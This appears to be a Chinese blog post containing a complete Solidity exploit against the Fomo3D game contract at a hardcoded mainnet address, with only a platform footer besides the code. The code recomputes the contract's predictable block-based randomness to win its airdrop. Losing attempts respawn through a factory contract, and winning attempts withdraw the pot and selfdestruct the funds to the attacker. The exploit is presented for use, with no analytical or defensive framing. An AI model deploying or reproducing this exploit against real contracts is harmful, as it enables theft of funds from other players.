Fomo3D-利用空投

pragma solidity 0.4.24;
 
 // Interface for the airdrop functions
 interface FOMO3DInterface {
  function airDropTracker_() external returns (uint256);
  function airDropPot_() external returns (uint256);
  function withdraw() external;
 }
 
 // A factory to create copies of the exploit contract
 contract ExploitFactory {
  function createExploit(address attacker) public returns(ExploitFOMO newExploit) {
    return new ExploitFOMO(address(this), attacker);
  }
 }
 
 
 // A convenient way to execute the exploit
 contract FOMOExploitExecuter {
  ExploitFactory public factory;
 
 
  function setFactory(address factoryAddress) public {
    factory = ExploitFactory(factoryAddress);
  }
 
 
  function execute() public payable {
    // skip any invariant checks to save gas
    ExploitFOMO start = new ExploitFOMO(factory, msg.sender);
  }
 }
 
 
 // The actual exploit
 contract ExploitFOMO {
  constructor(address factoryAddress, address attacker) public payable {
    // Get the exploit factory
    ExploitFactory factory = ExploitFactory(factoryAddress);
    // Get the FOMO3D contract
    FOMO3DInterface fomo3d = FOMO3DInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
 
 
    // Calculate whether this transaction wins. This formula is the same as in the FOMO3D contract.
    uint256 seed = uint256(keccak256(abi.encodePacked(
      (block.timestamp) +
      (block.difficulty) +
      ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
      (block.gaslimit) +
      ((uint256(keccak256(abi.encodePacked(address(this))))) / (now)) +
      (block.number)
    )));
 
    uint256 tracker = fomo3d.airDropTracker_();
    if((seed - ((seed / 1000) * 1000)) >= tracker) {
      //We lost, so create a new contract and try again
      factory.createExploit(attacker);
      selfdestruct(attacker); // send any leftover ether to the attacker
    }
 
    address(fomo3d).call.value(msg.value)();
    fomo3d.withdraw();
    selfdestruct(attacker); // send the winnings to the attacker
  }
 }
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容